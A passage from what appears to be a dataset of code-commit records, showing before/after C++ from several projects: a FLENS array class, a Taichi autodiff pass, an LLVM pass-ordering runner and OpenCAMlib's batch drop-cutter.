T>\nConstArrayView<T>\nArray<T>::view(int from, int to, int stride, int firstViewIndex) const\n{\n    assert(from<=to);\n    assert(stride>=1);\n    return ConstView(data(),                                    \/\/ storage\n                     &(this->operator()(from))-firstViewIndex,  \/\/ data\n                     (to-from)\/stride+1,                        \/\/ length\n                     stride,                                    \/\/ stride\n                     firstViewIndex);                           \/\/ firstIndex\n}\n\ntemplate <typename T>\nArrayView<T>\nArray<T>::view(int from, int to, int stride, int firstViewIndex)\n{\n    assert(from<=to);\n    assert(stride>=1);\n    return View(data(),                                   \/\/ storage\n                &(this->operator()(from))-firstViewIndex, \/\/ data\n                (to-from)\/stride+1,                       \/\/ length\n                stride,                                   \/\/ stride\n                firstViewIndex);                          \/\/ firstIndex\n}\n\ntemplate <typename T>\nvoid\nArray<T>::shiftIndexTo(int firstIndex)\n{\n    _data += _firstIndex - firstIndex;\n    _firstIndex = firstIndex;\n}\n\ntemplate <typename T>\nvoid\nArray<T>::_allocate()\n{\n    assert(!_data);\n    \/\/ TODO: discuss with Michael.\n    if (length()<=0) {\n        return;\n    }\n\n    _data = static_cast<T*>(calloc(_length, sizeof(T)))-_firstIndex;\n    Initializer<Array<T> >::initialize(*this);\n    assert(_data+_firstIndex);\n}\n\ntemplate <typename T>\nvoid\nArray<T>::_release()\n{\n    if (_data) {\n         if (RefCounter::detach(data())) {\n#ifdef GMP\n             T *fp;\n             int i;\n             for (i=0, fp=data(); i<_length; ++i, ++fp) {\n                 (*fp).~T();\n             }\n#endif\n             free(data());\n         }\n         _data=0;\n         _firstIndex = 0;\n    }\n}\n\n} \/\/ namespace flens\n<|endoftext|>"}
{"text":"<commit_before>#include <typeinfo>\n#include \"..\/ir.h\"\n\nTLANG_NAMESPACE_BEGIN\n\nclass MakeAdjoint : public IRVisitor {\n public:\n  Block *current_block;\n\n  MakeAdjoint() {\n    current_block = nullptr;\n  }\n\n  static void run(IRNode *node) {\n    auto p = MakeAdjoint();\n    node->accept(&p);\n  }\n\n  void visit(Block *block) override {\n    std::vector<Stmt *> statements;\n    \/\/ always make a copy since the list can be modified.\n    for (auto &stmt : block->statements) {\n      statements.push_back(stmt.get());\n    }\n    std::reverse(statements.begin(), statements.end());  \/\/ reverse-mode AD...\n    for (auto stmt : statements) {\n      current_block = block;\n      stmt->accept(this);\n    }\n  }\n\n  Stmt *insert_back(std::unique_ptr<Stmt> &&stmt) {\n    auto ptr = stmt.get();\n    current_block->insert(std::move(stmt), -1);\n    return ptr;\n  }\n\n  void accumulate(Stmt *primal, Stmt *value) {\n    auto alloca_ = alloc(primal);\n    TC_ASSERT(alloca_->is<AllocaStmt>());\n    auto alloca = alloca_->as<AllocaStmt>();\n    TC_ASSERT(alloca->width() == 1);\n    auto local_load =\n        insert_back(Stmt::make<LocalLoadStmt>(LocalAddress(alloca, 0)));\n    if (value->is<AllocaStmt>()) {\n      value = insert_back(\n          Stmt::make<LocalLoadStmt>(LocalAddress(value->as<AllocaStmt>(), 0)));\n    }\n    auto add = insert_back(\n        Stmt::make<BinaryOpStmt>(BinaryOpType::add, local_load, value));\n    insert_back(Stmt::make<LocalStoreStmt>(alloca, add));\n  }\n\n  Stmt *alloc(Stmt *stmt) {\n    if (stmt->adjoint == nullptr) {\n      \/\/ create the alloca\n      auto alloca = Stmt::make<AllocaStmt>(1, DataType::unknown);\n      stmt->adjoint = alloca.get();\n      alloca->ret_type = stmt->ret_type;\n      current_block->insert(std::move(alloca), 0);\n    }\n    return stmt->adjoint;\n  }\n\n  void visit(AllocaStmt *alloca) override {\n    \/\/ do nothing.\n  }\n\n  void visit(UnaryOpStmt *stmt) override {\n  }\n\n  void visit(BinaryOpStmt *bin) override {\n    if (bin->op_type == BinaryOpType::add) {\n      accumulate(bin->lhs, alloc(bin));\n      accumulate(bin->rhs, alloc(bin));\n    } else if (bin->op_type == BinaryOpType::sub) {\n      accumulate(bin->lhs, alloc(bin));\n      auto rgrad = Stmt::make<UnaryOpStmt>(UnaryOpType::neg, alloc(bin));\n      auto rptr = rgrad.get();\n      insert_back(std::move(rgrad));\n      accumulate(bin->rhs, rptr);\n    } else if (bin->op_type == BinaryOpType::mul) {\n      auto lptr = insert_back(\n          Stmt::make<BinaryOpStmt>(BinaryOpType::mul, alloc(bin), bin->rhs));\n      auto rptr = insert_back(\n          Stmt::make<BinaryOpStmt>(BinaryOpType::mul, alloc(bin), bin->lhs));\n      accumulate(bin->lhs, lptr);\n      accumulate(bin->rhs, rptr);\n    } else {\n      TC_WARN(\"\", binary_op_type_name(bin->op_type));\n      TC_NOT_IMPLEMENTED\n    }\n  }\n\n  void visit(TernaryOpStmt *stmt) override {\n    TC_ASSERT(stmt->op_type == TernaryOpType::select);\n  }\n\n  void visit(IfStmt *if_stmt) override {\n    TC_NOT_IMPLEMENTED\n  }\n\n  void visit(PrintStmt *print_stmt) override {\n    TC_NOT_IMPLEMENTED\n  }\n\n  void visit(ConstStmt *const_stmt) override {\n    \/\/ do nothing\n  }\n\n  void visit(WhileControlStmt *stmt) override {\n    TC_NOT_IMPLEMENTED\n  }\n\n  void visit(WhileStmt *stmt) override {\n    TC_NOT_IMPLEMENTED\n  }\n\n  void visit(RangeForStmt *for_stmt) override {\n    TC_NOT_IMPLEMENTED\n  }\n\n  void visit(StructForStmt *for_stmt) override {\n    for_stmt->body->accept(this);\n  }\n\n  void visit(GlobalPtrStmt *stmt) override {\n    \/\/ do nothing\n  }\n\n  void visit(LocalLoadStmt *stmt) override {\n    \/\/ do nothing\n    TC_WARN(\"needs impl when loading something other loop var\");\n  }\n\n  void visit(LocalStoreStmt *stmt) override {\n    TC_NOT_IMPLEMENTED\n  }\n\n  void visit(GlobalLoadStmt *stmt) override {\n    \/\/ issue global store to adjoint\n    GlobalPtrStmt *ptr = stmt->ptr->as<GlobalPtrStmt>();\n    TC_ASSERT(ptr->width() == 1);\n    auto snodes = ptr->snodes;\n    TC_ASSERT(snodes[0]->grad != nullptr);\n    snodes[0] = snodes[0]->grad;\n    auto adjoint_ptr =\n        insert_back(Stmt::make<GlobalPtrStmt>(snodes, ptr->indices));\n    auto adjoint_store =\n        insert_back(Stmt::make<GlobalStoreStmt>(adjoint_ptr, alloc(stmt)));\n  }\n\n  void visit(GlobalStoreStmt *stmt) override {\n    \/\/ erase and replace with global load adjoint\n    GlobalPtrStmt *ptr = stmt->ptr->as<GlobalPtrStmt>();\n    TC_ASSERT(ptr->width() == 1);\n    auto snodes = ptr->snodes;\n    TC_ASSERT(snodes[0]->grad != nullptr);\n    snodes[0] = snodes[0]->grad;\n    auto adjoint_ptr =\n        insert_back(Stmt::make<GlobalPtrStmt>(snodes, ptr->indices));\n    auto adjoint_load = insert_back(Stmt::make<GlobalLoadStmt>(adjoint_ptr));\n    accumulate(stmt->data, adjoint_load);\n    stmt->parent->erase(stmt);\n  }\n\n  void visit(ElementShuffleStmt *stmt) override {\n    TC_NOT_IMPLEMENTED\n  }\n\n  void visit(RangeAssumptionStmt *stmt) override {\n    \/\/ do nothing\n  }\n};\n\nnamespace irpass {\n\nvoid make_adjoint(IRNode *root) {\n  MakeAdjoint::run(root);\n  print(root);\n  typecheck(root);\n}\n\n}  \/\/ namespace irpass\n\nTLANG_NAMESPACE_END\n<commit_msg>simplified make_adjoint<commit_after>#include <typeinfo>\n#include \"..\/ir.h\"\n\nTLANG_NAMESPACE_BEGIN\n\nclass MakeAdjoint : public IRVisitor {\n public:\n  Block *current_block;\n\n  MakeAdjoint() {\n    current_block = nullptr;\n  }\n\n  static void run(IRNode *node) {\n    auto p = MakeAdjoint();\n    node->accept(&p);\n  }\n\n  void visit(Block *block) override {\n    std::vector<Stmt *> statements;\n    \/\/ always make a copy since the list can be modified.\n    for (auto &stmt : block->statements) {\n      statements.push_back(stmt.get());\n    }\n    std::reverse(statements.begin(), statements.end());  \/\/ reverse-mode AD...\n    for (auto stmt : statements) {\n      current_block = block;\n      stmt->accept(this);\n    }\n  }\n\n  Stmt *insert_back(std::unique_ptr<Stmt> &&stmt) {\n    auto ptr = stmt.get();\n    current_block->insert(std::move(stmt), -1);\n    return ptr;\n  }\n\n  template <typename T, typename... Args>\n  Stmt *insert(Args &&... args) {\n    return insert_back(Stmt::make<T>(args...));\n  }\n\n  void accumulate(Stmt *primal, Stmt *value) {\n    auto alloca_ = alloc(primal);\n    TC_ASSERT(alloca_->is<AllocaStmt>());\n    auto alloca = alloca_->as<AllocaStmt>();\n    TC_ASSERT(alloca->width() == 1);\n    auto local_load = insert<LocalLoadStmt>(LocalAddress(alloca, 0));\n    if (value->is<AllocaStmt>()) {\n      value = insert<LocalLoadStmt>(LocalAddress(value->as<AllocaStmt>(), 0));\n    }\n    auto add = insert<BinaryOpStmt>(BinaryOpType::add, local_load, value);\n    insert<LocalStoreStmt>(alloca, add);\n  }\n\n  Stmt *alloc(Stmt *stmt) {\n    if (stmt->adjoint == nullptr) {\n      \/\/ create the alloca\n      auto alloca = Stmt::make<AllocaStmt>(1, DataType::unknown);\n      stmt->adjoint = alloca.get();\n      alloca->ret_type = stmt->ret_type;\n      current_block->insert(std::move(alloca), 0);\n    }\n    return stmt->adjoint;\n  }\n\n  void visit(AllocaStmt *alloca) override {\n    \/\/ do nothing.\n  }\n\n  void visit(UnaryOpStmt *stmt) override {\n  }\n\n  void visit(BinaryOpStmt *bin) override {\n    if (bin->op_type == BinaryOpType::add) {\n      accumulate(bin->lhs, alloc(bin));\n      accumulate(bin->rhs, alloc(bin));\n    } else if (bin->op_type == BinaryOpType::sub) {\n      accumulate(bin->lhs, alloc(bin));\n      auto rgrad = Stmt::make<UnaryOpStmt>(UnaryOpType::neg, alloc(bin));\n      auto rptr = rgrad.get();\n      insert_back(std::move(rgrad));\n      accumulate(bin->rhs, rptr);\n    } else if (bin->op_type == BinaryOpType::mul) {\n      auto lptr = insert<BinaryOpStmt>(BinaryOpType::mul, alloc(bin), bin->rhs);\n      auto rptr = insert<BinaryOpStmt>(BinaryOpType::mul, alloc(bin), bin->lhs);\n      accumulate(bin->lhs, lptr);\n      accumulate(bin->rhs, rptr);\n    } else {\n      TC_WARN(\"\", binary_op_type_name(bin->op_type));\n      TC_NOT_IMPLEMENTED\n    }\n  }\n\n  void visit(TernaryOpStmt *stmt) override {\n    TC_ASSERT(stmt->op_type == TernaryOpType::select);\n  }\n\n  void visit(IfStmt *if_stmt) override {\n    TC_NOT_IMPLEMENTED\n  }\n\n  void visit(PrintStmt *print_stmt) override {\n    TC_NOT_IMPLEMENTED\n  }\n\n  void visit(ConstStmt *const_stmt) override {\n    \/\/ do nothing\n  }\n\n  void visit(WhileControlStmt *stmt) override {\n    TC_NOT_IMPLEMENTED\n  }\n\n  void visit(WhileStmt *stmt) override {\n    TC_NOT_IMPLEMENTED\n  }\n\n  void visit(RangeForStmt *for_stmt) override {\n    TC_NOT_IMPLEMENTED\n  }\n\n  void visit(StructForStmt *for_stmt) override {\n    for_stmt->body->accept(this);\n  }\n\n  void visit(GlobalPtrStmt *stmt) override {\n    \/\/ do nothing\n  }\n\n  void visit(LocalLoadStmt *stmt) override {\n    \/\/ do nothing\n    TC_WARN(\"needs impl when loading something other loop var\");\n  }\n\n  void visit(LocalStoreStmt *stmt) override {\n    TC_NOT_IMPLEMENTED\n  }\n\n  void visit(GlobalLoadStmt *stmt) override {\n    \/\/ issue global store to adjoint\n    GlobalPtrStmt *ptr = stmt->ptr->as<GlobalPtrStmt>();\n    TC_ASSERT(ptr->width() == 1);\n    auto snodes = ptr->snodes;\n    TC_ASSERT(snodes[0]->grad != nullptr);\n    snodes[0] = snodes[0]->grad;\n    auto adjoint = insert<GlobalPtrStmt>(snodes, ptr->indices);\n    insert<GlobalStoreStmt>(adjoint, alloc(stmt));\n  }\n\n  void visit(GlobalStoreStmt *stmt) override {\n    \/\/ erase and replace with global load adjoint\n    GlobalPtrStmt *ptr = stmt->ptr->as<GlobalPtrStmt>();\n    TC_ASSERT(ptr->width() == 1);\n    auto snodes = ptr->snodes;\n    TC_ASSERT(snodes[0]->grad != nullptr);\n    snodes[0] = snodes[0]->grad;\n    auto adjoint_ptr = insert<GlobalPtrStmt>(snodes, ptr->indices);\n    accumulate(stmt->data, insert<GlobalLoadStmt>(adjoint_ptr));\n    stmt->parent->erase(stmt);\n  }\n\n  void visit(ElementShuffleStmt *stmt) override {\n    TC_NOT_IMPLEMENTED\n  }\n\n  void visit(RangeAssumptionStmt *stmt) override {\n    \/\/ do nothing\n  }\n};\n\nnamespace irpass {\n\nvoid make_adjoint(IRNode *root) {\n  MakeAdjoint::run(root);\n  print(root);\n  typecheck(root);\n}\n\n}  \/\/ namespace irpass\n\nTLANG_NAMESPACE_END\n<|endoftext|>"}
{"text":"<commit_before>#include <chrono>\n#include <ctime>\n#include <fstream>\n#include <iostream>\n#include <map>\n#include <queue>\n#include <ratio>\n#include <string>\n#include <stdlib.h>\n#include <time.h>\n\/\/#include \"omp.h\"\n#include <vector>\n\n#include <boost\/algorithm\/string.hpp>\n#include <boost\/algorithm\/string\/classification.hpp>\n#include \"boost\/lexical_cast.hpp\"\n\nusing namespace boost::algorithm;\n\n#include \"pass_runner.h\"\n\n#define NUM_THREADS 8 \/\/ default number of threads\n#define MAX_NUM_PER_THREAD 100\n#define RERUN_COUNT 10\n#define MAX_PASS_LENGTH 30\n\n\n#if(0)\n#ifdef DEBUG\n#ifndef TIME\n#define TIME\n#endif\n#endif\n#endif\n\nusing namespace std;\nusing namespace std::chrono;\n\n\/*------- GLOBAL VARIABES --------*\/\n\/\/ vector with permutations of passorder\nvector<string> passOrder;\nchar *binaryName;\nchar *binaryArgs;\nchar *input_combination_file;\nstring dir_name;\n\n#define _SYSTEM_CALL( CMD ) ( {            \\\n    int err = ( system( CMD.c_str() ) );   \\\n    if ( err < 0  ) {                      \\ \n        fprintf(stderr, #CMD, \" failed.\"); \\\n        abort();                           \\\n    }                                      \\\n    err;                                   \\\n})                                         \\\n\n\nclass BoundMap {\n  public:\n    BoundMap() { };\n\n    bool in_range(){\n      if(pq.size() < MAX_NUM_PER_THREAD) return true;\n      return false;\n    }\n\n    void insert(string s, double d){\n      if(in_range()){\n        pq.push(RECORD(s,d));\n\n      } else if(pq.top().exec_time > d) {\n        pq.pop();\n        pq.push(RECORD(s,d));\n      }\n\n#ifdef BMAP_DEBUG\n      std::cout << \"Inserting new element with time \"<< d << \". Size \" << pq.size() << \" Worst time \" << pq.top().exec_time << \" Sequence: \" << pq.top().pass_order << std::endl;\n#endif\n\n    } \/* end of function insert *\/\n\n    void insert(RECORD r){\n      if(in_range()){\n        pq.push(r);\n\n      } else if(pq.top().exec_time > r.exec_time) {\n        pq.pop();\n        pq.push(r);\n      }\n    }\n\n    PQUEUE pq;\n};\n\n\ninline COMMAND::COMMAND(string pass_order, long double threadId) {\n  \/\/ opt -pass1 -pass2 .\/bcfile -o temp.out.threadId >> \/dev\/null\n\n  \/\/ combination_file_name\/temp.out.input_combination_filename\n  \/\/string temp_name = dir_name + string(\"\/temp.out.\") + input_combination_file;\n  std::cout << \"Running command \" << pass_order << std::endl;\n  \/\/opt = string(\"opt \") + pass_order + \" .\/\"  + binaryName + \" -o \"+ temp_name  + \"\" + to_string(threadId) + \" >> \/dev\/null\";\n  \/\/ Command to execute the file.\n  \/\/\n  \/\/    lli = string(\"lli \") + temp_name + to_string(threadId) + \" \" + binaryArgs + to_string(threadId);\n  \/\/ lli = string(\"lli \") + temp_name + to_string(threadId) + \" \" + binaryArgs + to_string(threadId);\n}\n\n\n\nvoid cleanUpTheMess() {\n  string rm_command = string(\"rm -rf \") + dir_name;\n\n#ifdef DEBUG\n  cout << \"Cleaning temporary files..\" << endl;\n  cout << \"Running Command: \" << rm_command << endl;\n#endif\n  _SYSTEM_CALL ( rm_command) ;\n}\n\n\nvector<string>& getOptimizationPasses() {\n  vector<string> *optimizationPasses = new vector<string>();\n  for(std::map<int, std::string>::iterator it = A::PASS_MAP.begin(), ie = A::PASS_MAP.end(); ie != it; ++it) {\n    optimizationPasses->push_back(it->second);\n  }\n  return *optimizationPasses;\n}\n\nvoid runOptimizationPasses() {\n  \/\/map<string, double> optExecMap;\n\n\n  std::map<string, long> after_pass_time;\n\n\n  map<long double, BoundMap> boundMaps;\n  vector<string> &optimizationPasses = getOptimizationPasses();\n\n  clock_t t1,t2;\n  float diff;\n  long double tid;\n  string pass_name;\n  int pass_length = 0;\n  while(pass_length < MAX_PASS_LENGTH) {\n#pragma omp parallel for private(pass_name)\n    for( int i = 0; i < optimizationPasses.size() ; ++i ) {\n      pass_name = optimizationPasses[i];\n      std::cout << pass_name << std::endl;\n      for(int j=0; j < RERUN_COUNT; j++) {\n        \/\/ START TIMER HERE\n        COMMAND Cmd(pass_name, tid);\n        \/\/ STOP TIMER HERE\n      }\n#ifdef DEBUG\n      cout << \"Running Command: \" << Cmd.opt << \"\\n\" << Cmd.lli  << \" in thread number \" << tid << endl;\n#endif\n\n    }\n    pass_length++;\n  }\n\n  cleanUpTheMess();\n}\n\nint main(int argc, char** argv) {\n\n  int numThreads = NUM_THREADS;\n\n  \/*\n     if(argc > 1) {\n     binaryName = argv[1];\n     input_combination_file = argv[2];\n     binaryArgs = argv[3];\n     numThreads = atoi(argv[4]);\n  \/\/        std::cout << binaryName << \" \" << binaryArgs << \" \" << numThreads << \" \" <<input_combination_file << endl;\n  } else {\n  std::cout << \"Usage: pass_runner <Binary Name> <NumThreads(optional)>\" << std::endl;\n  abort();\n  }\n\n  \/\/ open a file in read mode.\n  ifstream infile; \n  infile.open(input_combination_file);\n\n  string opt_order;\n  while(getline(infile, opt_order)) {\n  passOrder.push_back(opt_order);\n  }\n  *\/\n\n  \/\/ this will potentially print the contents of events.1 file\n#ifdef VERBOSE\n  cout << passOrder;\n#endif\n\n  \/\/ set openmp number of threads\n  \/\/omp_set_num_threads(numThreads);\n\n  \/\/dir_name = string(input_combination_file) + \"dir\"; \n  \/\/string create_dir_cmd = string(\"mkdir \") + dir_name;\n  \/\/_SYSTEM_CALL(create_dir_cmd );\n\n  runOptimizationPasses();\n\n  return EXIT_SUCCESS;\n}\n<commit_msg>markov opt<commit_after>#include <chrono>\n#include <ctime>\n#include <fstream>\n#include <iostream>\n#include <map>\n#include <queue>\n#include <ratio>\n#include <string>\n#include <stdlib.h>\n#include <time.h>\n\/\/#include \"omp.h\"\n#include <vector>\n\n#include <boost\/algorithm\/string.hpp>\n#include <boost\/algorithm\/string\/classification.hpp>\n#include \"boost\/lexical_cast.hpp\"\n\nusing namespace boost::algorithm;\n\n#include \"pass_runner.h\"\n\n#define NUM_THREADS 8 \/\/ default number of threads\n#define MAX_NUM_PER_THREAD 100\n#define RERUN_COUNT 10\n#define MAX_PASS_LENGTH 30\n\n\n#if(0)\n#ifdef DEBUG\n#ifndef TIME\n#define TIME\n#endif\n#endif\n#endif\n\nusing namespace std;\nusing namespace std::chrono;\n\n\/*------- GLOBAL VARIABES --------*\/\n\/\/ vector with permutations of passorder\nvector<string> passOrder;\nchar *binaryName;\nchar *binaryArgs;\nchar *input_combination_file;\nstring dir_name;\n\n#define _SYSTEM_CALL( CMD ) ( {            \\\n    int err = ( system( CMD.c_str() ) );   \\\n    if ( err < 0  ) {                      \\ \n        fprintf(stderr, #CMD, \" failed.\"); \\\n        abort();                           \\\n    }                                      \\\n    err;                                   \\\n})                                         \\\n\n\ninline COMMAND::COMMAND(string pass_order, long double threadId) {\n  \/\/ opt -pass1 -pass2 .\/bcfile -o temp.out.threadId >> \/dev\/null\n\n  \/\/ combination_file_name\/temp.out.input_combination_filename\n  string temp_name = dir_name + string(\"\/temp.out.\"); \/\/+ input_combination_file;\n  std::cout << \"Running command \" << pass_order << std::endl;\n\n  opt = string(\"opt \") + pass_order + \" .\/\"  + binaryName + \" -o \"+ temp_name  + \"\" + to_string(threadId) + \" >> \/dev\/null\";\n  \/\/ Command to execute the file.\n  lli = string(\"lli \") + temp_name + to_string(threadId) + \" \" + binaryArgs + to_string(threadId);\n}\n\n\nstruct passTime\n{\n  string pass_name;\n  long time;\n};\n\nclass PassTimeComparator\n{\n  public:\n    bool operator()(passTime& n1, passTime& n2)\n    {\n      if (n1.time > n2.time)\n        return true;\n      else\n        return false;\n    }\n};\n\n\nvoid cleanUpTheMess() {\n  string rm_command = string(\"rm -rf \") + dir_name;\n\n#ifdef DEBUG\n  cout << \"Cleaning temporary files..\" << endl;\n  cout << \"Running Command: \" << rm_command << endl;\n#endif\n  _SYSTEM_CALL ( rm_command) ;\n}\n\n\nvector<string>& getOptimizationPasses() {\n  vector<string> *optimizationPasses = new vector<string>();\n  for(std::map<int, std::string>::iterator it = A::PASS_MAP.begin(), ie = A::PASS_MAP.end(); ie != it; ++it) {\n    optimizationPasses->push_back(it->second);\n  }\n  return *optimizationPasses;\n}\n\nvoid runOptimizationPasses() {\n  \/\/map<string, double> optExecMap;\n  std::map<string, long> after_pass_time;\n\n  vector<string> &optimizationPasses = getOptimizationPasses();\n\n  clock_t t1,t2;\n  float diff;\n  long double tid;\n  string pass_name;\n  int pass_length = 0;\n  while(pass_length < MAX_PASS_LENGTH) {\n    string curr_pass_order = string(\"\");\n    priority_queue< passTime, vector< passTime >, PassTimeComparator> curr_pq;\n#pragma omp parallel for private(pass_name)\n    for( int i = 0; i < optimizationPasses.size() ; ++i ) {\n      pass_name = optimizationPasses[i];\n      string temp_pass_order = curr_pass_order + string(\" \") + pass_name;\n      std::cout << pass_name << std::endl;\n      \n      \/\/ apply pass here\n      COMMAND Cmd(pass_name, tid);\n      _SYSTEM_CALL(Cmd.opt);\n\n      \/\/ run RERUN_COUNT number of times to get the time\n        \/\/ START TIMER HERE\n      for(int j=0; j < RERUN_COUNT; j++) {\n\n      }\n      long time_taken_by_current_pass = 1000;\n      \/\/ STOP TIMER HERE\n#ifdef DEBUG\n      cout << \"Running Command: \" << Cmd.opt << \"\\n\" << Cmd.lli  << \" in thread number \" << tid << endl;\n#endif\n      \/\/ store the time taken by current pass\n      passTime curr = {pass_name, time_taken_by_current_pass};\n      curr_pq.push(curr);\n    }\n    \n    curr_pass_order.append(pass_name);\n    pass_length++;\n  }\n \n  cleanUpTheMess();\n}\n\nint main(int argc, char** argv) {\n\n  int numThreads = NUM_THREADS;\n\n\n  if(argc > 1) {\n    binaryName = argv[1];\n    binaryArgs = argv[2];\n    numThreads = atoi(argv[3]);\n\n    std::cout << binaryName << \" \" << binaryArgs << \" \" << numThreads << \" \" << endl;\/\/<< input_combination_file << endl;\n  } else {\n    std::cout << \"Usage: pass_runner <Binary Name> <NumThreads(optional)>\" << std::endl;\n    abort();\n  }\n\n  \/\/ set openmp number of threads\n  \/\/omp_set_num_threads(numThreads);\n\n\/\/dir_name = string(input_combination_file) + \"dir\"; \n  \/\/string create_dir_cmd = string(\"mkdir \") + dir_name;\n  \/\/_SYSTEM_CALL(create_dir_cmd );\n\n  runOptimizationPasses();\n\n  return EXIT_SUCCESS;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*  $Id$\n * \n *  Copyright 2010 Anders Wallin (anders.e.e.wallin \"at\" gmail.com)\n *  \n *  This file is part of OpenCAMlib.\n *\n *  OpenCAMlib is free software: you can redistribute it and\/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation, either version 3 of the License, or\n *  (at your option) any later version.\n *\n *  OpenCAMlib is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License\n *  along with OpenCAMlib.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include <boost\/foreach.hpp>\n#include <boost\/progress.hpp>\n\n#ifdef _OPENMP \/\/ this should really not be a check for Windows, but a check for OpenMP\n    #include <omp.h>\n#endif\n\n#include \"point.h\"\n#include \"triangle.h\"\n#include \"batchdropcutter.h\"\n\/\/#include \"kdtree3.h\"\n\nnamespace ocl\n{\n\n\/\/********   ********************** *\/\n\nBatchDropCutter::BatchDropCutter() {\n    clpoints = new std::vector<CLPoint>();\n    nCalls = 0;\n#ifdef _OPENMP\n    nthreads = omp_get_num_procs(); \/\/ figure out how many cores we have\n#endif\n    cutter = NULL;\n    bucketSize = 1;\n    root = new KDTree<Triangle>();\n}\n\nBatchDropCutter::~BatchDropCutter() { \n    clpoints->clear();\n    delete clpoints;\n    delete root;\n}\n \nvoid BatchDropCutter::setSTL(const STLSurf &s) {\n    std::cout << \"bdc::setSTL()\\n\";\n    surf = &s;\n    root->setXYDimensions(); \/\/ we search for triangles in the XY plane, don't care about Z-coordinate\n    root->setBucketSize( bucketSize );\n    root->build(s.tris);\n    std::cout << \"bdc::setSTL() done.\\n\";\n}\n\n\n\nvoid BatchDropCutter::appendPoint(CLPoint& p) {\n    clpoints->push_back(p);\n}\n\n\/\/ drop cutter against all triangles in surface\nvoid BatchDropCutter::dropCutter1() {\n    std::cout << \"dropCutterSTL1 \" << clpoints->size() << \n              \" cl-points and \" << surf->tris.size() << \" triangles...\";\n    nCalls = 0;\n    BOOST_FOREACH(CLPoint &cl, *clpoints) {\n        BOOST_FOREACH( const Triangle& t, surf->tris) {\/\/ test against all triangles in s\n            cutter->dropCutter(cl,t);\n            ++nCalls;\n        }\n    }\n    std::cout << \"done.\\n\";\n    return;\n}\n\n\/\/ first search for triangles under the cutter\n\/\/ then only drop cutter against found triangles\nvoid BatchDropCutter::dropCutter2() {\n    std::cout << \"dropCutterSTL2 \" << clpoints->size() << \n            \" cl-points and \" << surf->tris.size() << \" triangles.\\n\";\n    std::cout.flush();\n    nCalls = 0;\n    std::list<Triangle> *triangles_under_cutter;\n    BOOST_FOREACH(CLPoint &cl, *clpoints) { \/\/loop through each CL-point\n        triangles_under_cutter->clear();\n        triangles_under_cutter = root->search_cutter_overlap( cutter , &cl);\n        BOOST_FOREACH( const Triangle& t, *triangles_under_cutter) {\n            cutter->dropCutter(cl,t);\n            ++nCalls;\n        }\n        delete triangles_under_cutter;\n    }\n    \n    std::cout << \"done. \" << nCalls << \" dropCutter() calls.\\n\";\n    std::cout.flush();\n    return;\n}\n\n\/\/ compared to dropCutter2, add an additional explicit overlap-test before testing triangle\nvoid BatchDropCutter::dropCutter3() {\n    std::cout << \"dropCutterSTL3 \" << clpoints->size() << \n            \" cl-points and \" << surf->tris.size() << \" triangles.\\n\";\n    nCalls = 0;\n    boost::progress_display show_progress( clpoints->size() );\n    std::list<Triangle> *triangles_under_cutter;\n    BOOST_FOREACH(CLPoint &cl, *clpoints) { \/\/loop through each CL-point\n        triangles_under_cutter->clear();\n        triangles_under_cutter = root->search_cutter_overlap( cutter , &cl);\n        BOOST_FOREACH( const Triangle& t, *triangles_under_cutter) {\n            if (cutter->overlaps(cl,t)) {\n                if ( cl.below(t) ) {\n                    cutter->dropCutter(cl,t);\n                    ++nCalls;\n                }\n            }\n        }\n        ++show_progress;\n        delete triangles_under_cutter;\n    }\n    \n    std::cout << \"done. \" << nCalls << \" dropCutter() calls.\\n\";\n    return;\n}\n\n\/\/ use OpenMP to share work between threads\nvoid BatchDropCutter::dropCutter4() {\n    std::cout << \"dropCutterSTL4 \" << clpoints->size() << \n            \" cl-points and \" << surf->tris.size() << \" triangles.\\n\";\n    boost::progress_display show_progress( clpoints->size() );\n    nCalls = 0;\n    int calls=0;\n    long int ntris = 0;\n    std::list<Triangle>* tris;\n    unsigned int n;\n    unsigned int Nmax = clpoints->size();\n    std::vector<CLPoint>& clref = *clpoints; \n    int nloop=0;\n    unsigned int ntriangles = surf->tris.size();\n#ifdef _OPENMP\n    omp_set_num_threads(nthreads); \/\/ the constructor sets number of threads right\n                                   \/\/ or the user can explicitly specify something else\n#endif\n    std::list<Triangle>::iterator it;\n    #pragma omp parallel for shared( nloop, ntris, calls, clref) private(n,tris,it)\n        for (n=0;n< Nmax ;n++) { \/\/ PARALLEL OpenMP loop!\n#ifdef _OPENMP\n            if ( n== 0 ) { \/\/ first iteration\n                if (omp_get_thread_num() == 0 ) \n                    std::cout << \"Number of OpenMP threads = \"<< omp_get_num_threads() << \"\\n\";\/\/ print out how many threads we are using\n            }\n#endif\n            nloop++;\n            tris = root->search_cutter_overlap( cutter, &clref[n] );\n            assert( tris->size() <= ntriangles ); \/\/ can't possibly find more triangles than in the STLSurf \n            for( it=tris->begin(); it!=tris->end() ; ++it) { \/\/ loop over found triangles  \n                if ( cutter->overlaps(clref[n],*it) ) { \/\/ cutter overlap triangle? check\n                    if (clref[n].below(*it)) {\n                        cutter->vertexDrop( clref[n],*it);\n                        ++calls;\n                    }\n                }\n            }\n            for( it=tris->begin(); it!=tris->end() ; ++it) { \/\/ loop over found triangles  \n                if ( cutter->overlaps(clref[n],*it) ) { \/\/ cutter overlap triangle? check\n                    if (clref[n].below(*it))\n                        cutter->facetDrop( clref[n],*it);\n                }\n            }\n            for( it=tris->begin(); it!=tris->end() ; ++it) { \/\/ loop over found triangles  \n                if ( cutter->overlaps(clref[n],*it) ) { \/\/ cutter overlap triangle? check\n                    if (clref[n].below(*it))\n                        cutter->edgeDrop( clref[n],*it);\n                }\n            }\n            ntris += tris->size();\n            delete( tris );\n            ++show_progress;\n        } \/\/ end OpenMP PARALLEL for\n    nCalls = calls;\n    std::cout << \" \" << nCalls << \" dropCutter() calls.\\n\";\n    return;\n}\n\n\/\/ use OpenMP to share work between threads\nvoid BatchDropCutter::dropCutter5() {\n    std::cout << \"dropCutterSTL5 \" << clpoints->size() << \n            \" cl-points and \" << surf->tris.size() << \" triangles.\\n\";\n    boost::progress_display show_progress( clpoints->size() );\n    nCalls = 0;\n    int calls=0;\n    long int ntris = 0;\n    std::list<Triangle>* tris;\n    unsigned int n;\n    unsigned int Nmax = 